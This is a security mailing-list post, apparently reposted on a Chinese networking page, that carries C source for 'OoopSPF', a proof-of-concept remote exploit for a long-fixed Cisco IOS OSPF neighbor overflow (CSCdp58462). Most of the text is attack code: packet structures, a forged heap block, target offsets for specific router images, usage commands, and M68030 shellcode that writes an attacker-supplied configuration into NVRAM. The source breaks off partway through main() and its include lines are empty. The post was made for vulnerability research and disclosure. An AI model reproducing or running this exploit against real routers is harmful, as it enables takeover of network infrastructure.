网络通信 频道

Cisco IOS OSPF exploit

        Hi there,
  attached you may find the exploit for the Cisco IOS bug ID CSCdp58462. The bug
  is long fixed, so if you still run OSPF on a old version of IOS, now is a good
  time to give your routers some attention.
  
  FX
  
  --
  FX
  Phenoelit http://www.phenoelit.de)
  672D 64B2 DE42 FCF7 8A5E E43B C0C1 A242 6D63 B564
  
  ["OoopSPF.c" (text/plain)]
  
  /* Cisco IOS IO memory exploit prove of concept
  * by FX of Phenoelit
  *http://www.phenoelit.de
  *
  * For:
  * 19C3 Chaos Communication Congress 2002 / Berlin
  * BlackHat Briefings Seattle 2003
  *
  * Cisco IOS 11.2.x to 12.0.x OSPF neighbor overflow
  * Cisco Bug CSCdp58462 causes more than 255 OSPF neighbors to overflow a IO memory
  * structure (small buffer header). The attached program is a PoC to exploit
  * this vulnerability by executing "shell code" on the router and write the
  * attached configuration into NVRAM to basicaly own the router.
  *
  * Example:
  * linux# gcc -o OoopSPF OoopSPF.c
  * linux# ./OoopSPF -s 172.16.0.0 -n 255.255.0.0 -d 172.16.1.4 \
  * -f ./small.config -t 0 -a 1.2.3.4 -vv
  *
  * You can see if it worked if a) the router does not crash and b) the output of
  * "show mem io" looks like this:
  * E40E38 264 E40D04 E40F6C 1 31632D8 *Packet Data*
  * E40F6C 264 E40E38 E410A0 1 31632D8 *Packet Data*
  * E410A0 264 E40F6C E411D4 1 31632D8 *Packet Data*
  * E411D4 1830400 E410A0 0 0 0 E411F8 808A8B8C [PHENOELIT]
  *
  * Exploit has to be "triggered". In LAB environment, go to the router and say
  * box# conf t
  * box(config)# buffers small perm 0
  *
  * Greets go to the Phenoelit members, the usual suspects Halvar, Johnny Cyberpunk,
  * Svoern, Scusi, Pandzilla, and Dizzy, to the #phenoelit people,
  * Gaus of PSIRT, Nico of Securite.org and Dan Kaminsky.
  *
  * $Id: OoopSPF.c,v 1.4 2003/02/20 16:38:30 root Exp root $
  */
  
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  
  #include
  #include
  #include
  #include
  
  #define IPTTL 0x80
  #define BLABLA "Phenoelit OoopSPF\n" \
  " Cisco IOS OSPF remote exploit (11.2.-12.0)\n" \
  " (C) 2002/2003 - FX of Phenoelit \n"
  #define IPPROTO_OSPF 0x59
  #define IP_ADDR_LEN 4
  typedef struct {
  u_int8_t ihl:4, /* header length */
  version:4; /* version */
  u_int8_t tos; /* type of service */
  u_int16_t tot_len; /* total length */
  u_int16_t id; /* identification */
  u_int16_t off; /* fragment offset field */
  u_int8_t ttl; /* time to live */
  u_int8_t protocol; /* protocol */
  u_int16_t check; /* checksum */
  struct in_addr saddr;
  struct in_addr daddr; /* source and dest address */
  } iphdr_t;
  
  typedef struct {
  u_int8_t version __attribute__ ((packed));
  u_int8_t type __attribute__ ((packed));
  u_int16_t length __attribute__ ((packed));
  u_int8_t source[4] __attribute__ ((packed));
  u_int8_t area[4] __attribute__ ((packed));
  u_int16_t checksum __attribute__ ((packed));
  u_int16_t authtype __attribute__ ((packed));
  u_int8_t authdata[8] __attribute__ ((packed));
  } ospf_header_t;
  
  typedef struct {
  u_int8_t netmask[4] __attribute__ ((packed));
  u_int16_t hello_interval __attribute__ ((packed));
  u_int8_t options __attribute__ ((packed));
  u_int8_t priority __attribute__ ((packed));
  u_int8_t dead_interval[4] __attribute__ ((packed));
  u_int8_t designated[4] __attribute__ ((packed));
  u_int8_t backup[4] __attribute__ ((packed));
  } ospf_hello_t;
  
  
  //
  // Target definitions
  //
  
  typedef struct {
  char *description;
  int n_neig;
  int data_start;
  u_int32_t blockbegin;
  u_int32_t prev;
  u_int32_t nop_sleet;
  u_int32_t stack_address;
  u_int32_t iomem_end;
  } targets_t;
  
  targets_t targets[] = {
  { // #0 Phenoelit labs 2503
  "2503, 11.3(11b) IP only [c2500-i-l.113-11b.bin], 14336K/2048K (working)",
  256, // # of neighbor announcements
  0xe5, // data start
  0xE411D4, // block begin
  0xE410B4, // PREV
  6, // nop_sleet after FAKE BLOCK
  0x079B48, // Check heaps stack PC
  0x00FFFFFF // IO mem end
  },
  { // #1 Phenoelit labs 2501
  "2501, 11.3(11a) IP only [c2500-i-l.113-11a.bin], 14336K/2048K (working)",
  256, // # of neighbor announcements
  0xe5, // data start
  0x00E31EA4, // block begin
  0x00E31D84, // PREV
  6, // nop_sleet after FAKE BLOCK
  0x00079918, // Check heaps stack PC (using IOStack.pl)
  0x00FFFFFF // IO mem end
  }
  };
  
  #define TARGETS (sizeof(targets)/sizeof(targets_t)-1)
  
  //
  // NVRAM header structure
  //
  
  typedef struct {
  u_int16_t magic __attribute__((packed));
  u_int16_t one __attribute__((packed));
  u_int16_t checksum __attribute__((packed));
  u_int16_t IOSver __attribute__((packed));
  u_int32_t unknown __attribute__((packed));
  u_int32_t ptr __attribute__((packed));
  u_int32_t size __attribute__((packed));
  } nvheader_t;
  
  //
  // FAKE BLOCK definitions
  //
  
  typedef struct {
  u_int32_t redzone __attribute__((packed));
  u_int32_t magic __attribute__((packed));
  u_int32_t pid __attribute__((packed));
  u_int32_t proc __attribute__((packed));
  u_int32_t name __attribute__((packed));
  u_int32_t pc __attribute__((packed));
  u_int32_t next __attribute__((packed));
  u_int32_t prev __attribute__((packed));
  u_int32_t size __attribute__((packed));
  u_int32_t refcnt __attribute__((packed));
  u_int32_t pad1 __attribute__((packed));
  u_int32_t freemagic __attribute__((packed));
  u_int32_t lastdealloc __attribute__((packed));
  u_int32_t pad2 __attribute__((packed));
  u_int32_t pad3 __attribute__((packed));
  u_int32_t free_next __attribute__((packed));
  u_int32_t free_prev __attribute__((packed));
  } block_t;
  
  char fakeblock[] =
  "\xFD\x01\x10\xDF" // RED
  "\xAB\x12\x34\xCD" // MAGIC
  "\xFF\xFF\xFF\xFF" // PID
  "\x80\x81\x82\x83" // PROC
  "\x00\xE4\x12\x00" // NAME (Message)
  "\x80\x8a\x8b\x8c" // PC
  "\x00\x00\x00\x00" // NEXT (no following block)
  "\x00\xE4\x10\xB4" // PREV (correct for 0xE411d4)
  "\x00\x0D\xF7\x02" // Size CORRECT for 0xE411D4
  "\x00\x00\x00\x00" // Reference count
  "\x00\x00\x00\x00" // PADDING
  "\xDE\xAD\xBE\xEF" // FREE MAGIC
  "[PHE" // last delocator
  "NOEL" // PADDING
  "IT]\x00" // PADDING
  "\x00\xE4\x12\x20" // FREE NEXT in our block
  "\x00\x07\x9B\x48" // FREE PREV (Check heaps stack PC)
  ;
  block_t *bpatch = (block_t*)fakeblock;
  
  //
  // Cisco code for M68030 CPU and 2500 NVRAM layout
  //
  char ccode[] =
  "\x46\xFC\x27\x00" //movew #9984,%sr (0x00E41220)
  "\x43\xFA\x00\x48" //lea %pc@(4e ),%a1 (0x00E41224)
  "\x24\x7C\x02\x00\x00\x06" //moveal #33554438,%a2 (0x00E41228)
  "\xB3\x81" //eorl %d1,%d1 (0x00E4122E)
  "\x74\x01" //moveq #1,%d2 (0x00E41230)
  "\x22\x3C\x01\x01\x01\x01" //movel #16843009,%d1 (0x00E41232)
  "\x14\xD9" //moveb %a1@+,%a2@+ (0x00E41238)
  "\x32\x3C\xFF\xFF" //movew #-1,%d1 (0x00E4123A)
  "\x93\x42" //subxw %d2,%d1 (0x00E4123E)
  "\x6B\x00\xFF\xFC" //bmiw 1e (0x00E41240)
  "\x0C\x91\xCA\xFE\xF0\x0D" //cmpil #-889262067,%a1@ (0x00E41244)
  "\x66\x00\xFF\xEC" //bnew 18 (0x00E4124A)
  "\x14\xFC\x00\x00" //moveb #0,%a2@+ (0x00E4124E)
  "\x32\x3C\xFF\xFF" //movew #-1,%d1 (0x00E41252)
  "\x93\x42" //subxw %d2,%d1 (0x00E41256)
  "\x6B\x00\xFF\xFC" //bmiw 36 (0x00E41258)
  "\xB5\xFC\x02\x00\x07\x00" //cmpal #33556224,%a2 (0x00E4125C)
  "\x6D\x00\xFF\xEA" //bltw 2e (0x00E41262)
  "\x22\x7C\x03\x00\x00\x60" //moveal #50331744,%a1 (0x00E41266)
  "\x4E\xD1" //jmp %a1@ (0x00E4126C)
  
  ;
  
  char terminator[] = "\xCA\xFE\xF0\x0D";
  char nop[] = "\x4E\x71";
  
  //
  // Global variables to pass the current buffer location to the
  // OSPF packet generator function
  //
  int payloadc=0;
  char *payload=NULL;
  // packet counter (global)
  unsigned int pc=0;
  
  
  //
  // Configuration
  //
  struct {
  int verbose;
  char *device;
  struct in_addr *target;
  u_int32_t src_net;
  u_int32_t src_mask;
  u_int32_t area;
  int directed;
  int test_only;
  
  // fake block constants
  int n_neig;
  int data_start;
  u_int32_t blockbegin;
  u_int32_t prev;
  u_int32_t nop_sleet;
  u_int32_t stack_address;
  u_int32_t iomem_end;
  
  // other stuff
  char *filename;
  int target_sel;
  } cfg;
  
  
  u_char *construct_ospf(struct in_addr *dd, struct in_addr *src,
  u_int16_t autosys, int *psize);
  int init_socket_IP4(int broadcast);
  int sendpack_IP4(int sfd, u_char *packet,int plength);
  u_int16_t chksum(u_char *data, unsigned long count);
  void *smalloc(size_t size);
  void hexdump(unsigned char *bp, unsigned int length);
  void usage(char *s);
  
  int main(int argc, char **argv) {
  char option;
  extern char *optarg;
  int sfd;
  
  unsigned int i=0;
  u_int32_t countip=20;
  
  /* confg file */
  int fd;
  struct stat sb;
  
  u_char *buffer;
  u_char *p;
  nvheader_t *nvh;
  unsigned int len;
  u_int16_t cs1;
  
  // final overflow
  char *overflow;
  int osize=0;
0
相关文章